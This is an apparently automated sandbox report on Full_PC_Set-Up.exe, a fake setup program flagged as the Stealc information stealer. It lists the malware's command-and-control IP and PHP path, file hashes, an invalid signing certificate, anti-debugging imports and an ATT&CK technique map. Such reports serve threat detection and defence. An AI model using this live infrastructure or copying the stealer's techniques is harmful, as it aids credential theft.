Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000001028000.00000004.00000020.00020000.00000000.sdmp, Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Full_PC_Set-Up.exe, 00000000.00000002.1877669838.000000000102F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_003812A6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_003812A6

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_00298550 GetModuleHandleW,LoadLibraryW,GetProcAddress,GetObjectW,

0_2_00298550

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_0039FBF7 CreateFileA,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_0039FBF7

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_002961A0 CoInitialize,GetCommandLineW,CommandLineToArgvW,LocalFree,CreateMutexW,SetUnhandledExceptionFilter,InitCommonControlsEx,__wsetlocale,GdiplusStartup,DefWindowProcW,LoadIconW,LoadCursorW,GetStockObject,RegisterClassW,MessageBoxW,GetLastError,	0_2_002961A0
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_003812A6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003812A6
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00381608 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00381608
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_0038B6F3 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0038B6F3
Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe	Code function: 0_2_00299E20 CoInitialize,GetCommandLineW,CommandLineToArgvW,LocalFree,CreateMutexW,SetUnhandledExceptionFilter,InitCommonControlsEx,__wsetlocale,GdiplusStartup,DefWindowProcW,LoadIconW,LoadCursorW,GetStockObject,RegisterClassW,MessageBoxW,GetLastError,	0_2_00299E20

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Full_PC_Set-Up.exe PID: 7444, type: MEMORYSTR

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_002C1CA0 AllocateAndInitializeSid,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,FreeSid,GetTokenInformation,GetTokenInformation,_calloc,FreeSid,CloseHandle,GetTokenInformation,EqualSid,FreeSid,CloseHandle,

0_2_002C1CA0

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: GetLocaleInfoA,

0_2_0039D105

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_002DA760 GetFileType,SetFilePointer,GetLocalTime,SystemTimeToFileTime,FileTimeToDosDateTime,

0_2_002DA760

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_0038F75F __get_daylight,__invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,__getenv_helper_nolock,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

0_2_0038F75F

Source: C:\Users\user\Desktop\Full_PC_Set-Up.exe

Code function: 0_2_003D2A00 _memset,GetVersionExW,

0_2_003D2A00

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1878986975.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Full_PC_Set-Up.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1878986975.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Full_PC_Set-Up.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	24 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Full_PC_Set-Up.exe	3%	ReversingLabs

Name	Malicious	Antivirus Detection	Reputation
http://45.200.148.115/0a616124ff2f2b69.php	true		unknown
http://45.200.148.115/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://aia1.wosign.com/ca1g2.ts.cer0	Full_PC_Set-Up.exe	false	unknown
http://45.200.148.115/0a616124ff2f2b69.php2	Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://45.200.148.115/0a616124ff2f2b69.phpq	Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://aia1.wosign.com/ca1g2-ts.cer0	Full_PC_Set-Up.exe	false	unknown
http://crls1.wosign.com/ca6-code3.crl0P	Full_PC_Set-Up.exe	false	unknown
http://ocsp1.wosign.com/ca1g2/ts0/	Full_PC_Set-Up.exe	false	unknown
http://ocsp.startssl.com/ca00	Full_PC_Set-Up.exe	false	unknown
http://ocsp1.wosign.com/ca10/	Full_PC_Set-Up.exe	false	unknown
http://ocsp1.wosign.com/ca102	Full_PC_Set-Up.exe	false	unknown
http://www.kungsoft.com	Full_PC_Set-Up.exe	false	unknown
http://ocsp1.wosign.com/ca6/code300	Full_PC_Set-Up.exe	false	unknown
http://aia1.wosign.com/ca1g2-code3.cer0	Full_PC_Set-Up.exe	false	unknown
http://7datarecoverysoftware.com/7dptr-order/?ref=apphttp://7datarecoverysoftware.comhttp://7datarec	Full_PC_Set-Up.exe	false	unknown
http://7datarecoverysoftware.com/buy/7drs-st.phphttp://7datarecoverysoftware.com/buy/7drs.phphttp://	Full_PC_Set-Up.exe	false	unknown
http://aia1.wosign.com/ca6.code3.cer06	Full_PC_Set-Up.exe	false	unknown
http://crls1.wosign.com/ca1.crl0k	Full_PC_Set-Up.exe	false	unknown
http://45.200.148.115	Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crls1.wosign.com/ca1.crl0h	Full_PC_Set-Up.exe	false	unknown
http://45.200.148.115/0a616124ff2f2b69.phpS	Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.wosign.com/policy/0	Full_PC_Set-Up.exe	false	unknown
http://45.200.148.115/0a616124ff2f2b69.phpM	Full_PC_Set-Up.exe, 00000000.00000002.1877669838.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.startssl.com/sfsca.crl0	Full_PC_Set-Up.exe	false	unknown
http://aia.startssl.com/certs/ca.crt02	Full_PC_Set-Up.exe	false	unknown
http://crls1.wosign.com/ca1g2-ts.crl0m	Full_PC_Set-Up.exe	false	unknown
http://7datarecoverysoftware.com/enable-usb-debugging/http://7datarecoverysoftware.com/usb-connect-a	Full_PC_Set-Up.exe	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.200.148.115	unknown	Seychelles		328608	Africa-on-Cloud-ASZA	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525664
Start date and time:	2024-10-04 13:52:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Full_PC_Set-Up.exe
Detection:	MAL
Classification:	mal76.troj.expl.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 60% Number of executed functions: 4 Number of non-executed functions: 324
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Full_PC_Set-Up.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.200.148.115	6828ce64fe184aebd297c90e4c84b912.exe	Get hash	malicious	Stealc, Vidar	Browse	45.200.148.115/0a616124ff2f2b69.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Africa-on-Cloud-ASZA	6828ce64fe184aebd297c90e4c84b912.exe	Get hash	malicious	Stealc, Vidar	Browse	45.200.148.115
	gmpsl.elf	Get hash	malicious	Mirai	Browse	156.228.38.93
	mips.elf	Get hash	malicious	Mirai	Browse	156.228.228.45
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.228.63.75
	ppc.elf	Get hash	malicious	Mirai	Browse	156.228.141.219
	novo.arm64.elf	Get hash	malicious	Mirai, Moobot	Browse	45.206.208.60
	x86_64.elf	Get hash	malicious	Mirai	Browse	156.228.228.33
	d56300bfa907be16e5246c3012e4a301.exe	Get hash	malicious	Stealc	Browse	45.200.148.113
	4c469e2cf403fea6249e835ddce23de2.exe	Get hash	malicious	Stealc, Vidar	Browse	45.200.148.113
	https://polap77.com/	Get hash	malicious	HTMLPhisher	Browse	45.194.53.81

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.248566548248124
TrID:	Win32 Executable (generic) a (10002005/4) 98.81% Windows ActiveX control (116523/4) 1.15% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Full_PC_Set-Up.exe
File size:	7'230'768 bytes
MD5:	7400e305a002a18fbec6a6d189ef6879
SHA1:	04138fb49978d5005bd5e9be7c958227131d8437
SHA256:	32df795e1539a4c4adce359c6fcc9be616db4591937072197171c6c5c465297e
SHA512:	a19b4dc10170cdfaabb3c3c2da3313fde5911f406f96dc107b952b982570ca881f89a6f90e8ddb21b165e2649a86f28b7f030c305d7377e70f060be78d5704a3
SSDEEP:	98304:Ao8TNdeBpOqRXG+dc8bkh89N02EbeeVoDVXmBaGm:YTNdIpj2+dv63cNxXmEj
TLSH:	98768B00B7A69D31D647D1B686BEF629412BEE01533C05E79344B9EA09726D33D3E3CA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p..*?F..p.......p.......p...p...s....E..p....S.zp..."T..p....T.Eq....Z.'p..."D..p...pG..p....A..p..Rich.p.........

File Icon


Icon Hash:	067161f9e9e9c806

Static PE Info

General

Entrypoint:	0x4f129c
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C0C97D2 [Sun Dec 9 04:19:30 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	29d8e66b72389943ec14550444b02ce0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=WoSign Class 3 Code Signing CA G2, O=WoSign CA Limited, C=CN
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	19/01/2016 05:51:38 19/04/2019 06:51:38
Subject Chain	CN="SharpNight Co., Limited", E=info@sharpnight.com, O="SharpNight Co., Limited", L=Hong Kong, S=Hong Kong, C=CN
Version:	3
Thumbprint MD5:	7B25A82566306059F65C341E4E401DDE
Thumbprint SHA-1:	9E3AD16AB8FAFB2EC21F83E3E91ABA173BA54DE4
Thumbprint SHA-256:	C515B4823CDF8F18F17145527BE18DB349B22B82A8CAB0098752FD2F752787B5
Serial:	3DA2C4902F6BF0397A8A6387DC275988

Entrypoint Preview

Instruction
call 00007FC0346A4A4Bh
jmp 00007FC03469A6EEh
cmp ecx, dword ptr [006F0040h]
jne 00007FC03469A874h
rep ret
jmp 00007FC0346A4ACDh
mov edi, edi
push ecx
mov dword ptr [ecx], 0067308Ch
call 00007FC0346A4BC5h
pop ecx
ret
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
call 00007FC03469A858h
test byte ptr [ebp+08h], 00000001h
je 00007FC03469A879h
push esi
call 00007FC03467B23Eh
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
add ecx, 09h
push ecx
add eax, 09h
push eax
call 00007FC03469FFCAh
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword ptr [ebp+14h]
push edi
xor edi, edi
cmp esi, edi
jne 00007FC03469A876h
xor eax, eax
jmp 00007FC03469A8D7h
cmp dword ptr [ebp+08h], edi
jne 00007FC03469A88Dh
call 00007FC0346A247Fh
push 00000016h
pop esi
mov dword ptr [eax], esi
push edi
push edi
push edi
push edi
push edi
call 00007FC03469AC72h
add esp, 14h
mov eax, esi
jmp 00007FC03469A8B7h
cmp dword ptr [ebp+10h], edi
je 00007FC03469A888h
cmp dword ptr [ebp+0Ch], esi
jc 00007FC03469A883h
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+08h]
call 00007FC03469E375h
add esp, 0Ch
jmp 00007FC03469A833h
push dword ptr [ebp+0Ch]
push edi
push dword ptr [ebp+08h]
call 00007FC03469E864h
add esp, 0Ch

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 build 21022
[C++] VS2008 SP1 build 30729
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2ea114	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x382000	0x14f9ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x6e1600	0x3f30	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4d2000	0x255d0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x24aec0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2b99f0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24a000	0xacc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2ea08c	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x248629	0x248800	d97ae1f19794fb84a60cbdc66f57d88b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x24a000	0xa3c48	0xa3e00	d90c5ff14768334b305103d8af8fb266	False	0.40436689549961863	data	5.783275601880469	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2ee000	0x93ff8	0xc800	d2da3f1a5cad48d05905710168a80470	False	0.2956640625	DIY-Thermocam raw data (Lepton 2.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 4175953747280037675008.000000, slope 1088014617970866856656896.000000	5.408245732264006	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x382000	0x14f9ac	0x14fa00	2b21fc5c0786c394ec3dc47df472b875	False	0.49635271182495344	data	7.141836080841158	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4d2000	0x298a00	0x298a00	33258c823818bf4d4fb91958b0825331	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x38d4ec	0x304	PNG image data, 30 x 10, 8-bit/color RGBA, non-interlaced	English	United States	1.0142487046632125
PNG	0x38d7f0	0xcdc	PNG image data, 28 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0033414337788578
PNG	0x38e4cc	0xd78	PNG image data, 127 x 410, 8-bit/color RGBA, non-interlaced	English	United States	0.8561484918793504
PNG	0x38f244	0xb7a	PNG image data, 34 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0037440435670524
PNG	0x38fdc0	0x55e	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0080058224163027
PNG	0x390320	0x1f43	PNG image data, 192 x 48, 8-bit/color RGBA, non-interlaced	English	United States	0.9887542171685618
PNG	0x392264	0x43e	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0101289134438305
PNG	0x3926a4	0x1554	PNG image data, 240 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.002014652014652
PNG	0x393bf8	0x6cd	PNG image data, 48 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.006318207926479
PNG	0x3942c8	0x878	PNG image data, 96 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0050738007380073
PNG	0x394b40	0xca3	PNG image data, 29 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.003400309119011
PNG	0x3957e4	0xd04	PNG image data, 34 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0033013205282113
PNG	0x3964e8	0xd61b	PNG image data, 74 x 99, 8-bit/color RGBA, non-interlaced	English	United States	0.9842184962872416
PNG	0x3a3b04	0x111d	PNG image data, 81 x 96, 8-bit/color RGB, non-interlaced	English	United States	1.0025108422734534
PNG	0x3a4c24	0x1007	PNG image data, 132 x 465, 8-bit/color RGB, non-interlaced	English	United States	0.950280282719961
PNG	0x3a5c2c	0x18c	PNG image data, 12 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0277777777777777
PNG	0x3a5db8	0x123	PNG image data, 15 x 30, 8-bit/color RGBA, non-interlaced	English	United States	1.0378006872852235
PNG	0x3a5edc	0x11c0	PNG image data, 95 x 172, 8-bit/color RGBA, non-interlaced	English	United States	0.9590669014084507
PNG	0x3a709c	0xc20	PNG image data, 507 x 2, 8-bit/color RGB, non-interlaced	English	United States	1.0035438144329898
PNG	0x3a7cbc	0x3da	PNG image data, 18 x 108, 8-bit/color RGB, non-interlaced	English	United States	1.011156186612576
PNG	0x3a8098	0x84c	PNG image data, 20 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0051789077212807
PNG	0x3a88e4	0x817	PNG image data, 20 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0053114437469821
PNG	0x3a90fc	0x26b	PNG image data, 8 x 156, 8-bit/color RGB, non-interlaced	English	United States	1.0177705977382876
PNG	0x3a9368	0x35c	PNG image data, 19 x 114, 8-bit/color RGB, non-interlaced	English	United States	0.9709302325581395
PNG	0x3a96c4	0x390	PNG image data, 19 x 114, 8-bit/color RGB, non-interlaced	English	United States	0.9385964912280702
PNG	0x3a9a54	0x2c7	PNG image data, 17 x 114, 8-bit/color RGB, non-interlaced	English	United States	1.0154711673699015
PNG	0x3a9d1c	0x37a	PNG image data, 19 x 114, 8-bit/color RGB, non-interlaced	English	United States	0.9820224719101124
PNG	0x3aa098	0x2da	PNG image data, 19 x 114, 8-bit/color RGB, non-interlaced	English	United States	0.9958904109589041
PNG	0x3aa374	0xd1	PNG image data, 8 x 36, 8-bit/color RGB, non-interlaced	English	United States	1.0382775119617225
PNG	0x3aa448	0xa0e	PNG image data, 23 x 160, 8-bit/color RGBA, non-interlaced	English	United States	1.0042735042735043
PNG	0x3aae58	0x3ab	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0117145899893503
PNG	0x3ab204	0x1513	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0020389249304913
PNG	0x3ac718	0x381	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0122630992196209
PNG	0x3aca9c	0xbc0	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.003656914893617
PNG	0x3ad65c	0x3cd	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0113052415210688
PNG	0x3ada2c	0x1506	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0007432181345224
PNG	0x3aef34	0x30a	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0141388174807198
PNG	0x3af240	0xbc7	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.003648424543947
PNG	0x3afe08	0x3c7	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0113753877973113
PNG	0x3b01d0	0x151a	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0020362828582006
PNG	0x3b16ec	0x393	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0120218579234972
PNG	0x3b1a80	0xbe6	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0036112934996717
PNG	0x3b2668	0x551	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	0.9933872152828802
PNG	0x3b2bbc	0x40e	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	0.9845857418111753
PNG	0x3b2fcc	0x3d3	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0081716036772217
PNG	0x3b33a0	0x1514	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.002038547071905
PNG	0x3b48b4	0x325	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.013664596273292
PNG	0x3b4bdc	0xbf0	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0035994764397906
PNG	0x3b57cc	0x3c1	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0114464099895941
PNG	0x3b5b90	0x1505	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0020442296970824
PNG	0x3b7098	0x3b3	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0116156282998945
PNG	0x3b744c	0xc21	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0035426731078905
PNG	0x3b8070	0x3b7	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0115667718191377
PNG	0x3b8428	0x14ff	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x3b9928	0x314	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.013959390862944
PNG	0x3b9c3c	0xb64	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0037722908093278
PNG	0x3ba7a0	0xde	PNG image data, 1 x 23, 8-bit/color RGB, non-interlaced	English	United States	0.6396396396396397
PNG	0x3ba880	0x3c4	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0114107883817427
PNG	0x3bac44	0x14e8	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0014947683109119
PNG	0x3bc12c	0x2fb	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0144167758846658
PNG	0x3bc428	0xbc1	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0036556995679629
PNG	0x3bcfec	0x57d	PNG image data, 15 x 95, 8-bit/color RGB, non-interlaced	English	United States	0.9523131672597864
PNG	0x3bd56c	0x686	PNG image data, 15 x 100, 8-bit/color RGB, non-interlaced	English	United States	0.9670658682634731
PNG	0x3bdbf4	0x20a	PNG image data, 9 x 144, 8-bit/color RGB, non-interlaced	English	United States	1.0210727969348659
PNG	0x3bde00	0xcb9	PNG image data, 15 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0033773411114522
PNG	0x3beabc	0x209	PNG image data, 15 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.021113243761996
PNG	0x3becc8	0x2fd	PNG image data, 17 x 68, 8-bit/color RGBA, non-interlaced	English	United States	0.8980392156862745
PNG	0x3befc8	0x324	PNG image data, 17 x 68, 8-bit/color RGBA, non-interlaced	English	United States	0.9054726368159204
PNG	0x3bf2ec	0xb6e	PNG image data, 1 x 34, 8-bit/color RGB, non-interlaced	English	United States	1.0037593984962405
PNG	0x3bfe5c	0xb4f	PNG image data, 1 x 34, 8-bit/color RGB, non-interlaced	English	United States	1.0037996545768566
PNG	0x3c09ac	0xb2f	PNG image data, 8 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0038421236465247
PNG	0x3c14dc	0x112	PNG image data, 7 x 24, 8-bit/color RGBA, non-interlaced	English	United States	0.8832116788321168
PNG	0x3c15f0	0xb8e	PNG image data, 21 x 45, 8-bit/color RGB, non-interlaced	English	United States	1.0037187288708587
PNG	0x3c2180	0x231	PNG image data, 15 x 63, 8-bit/color RGB, non-interlaced	English	United States	0.8288770053475936
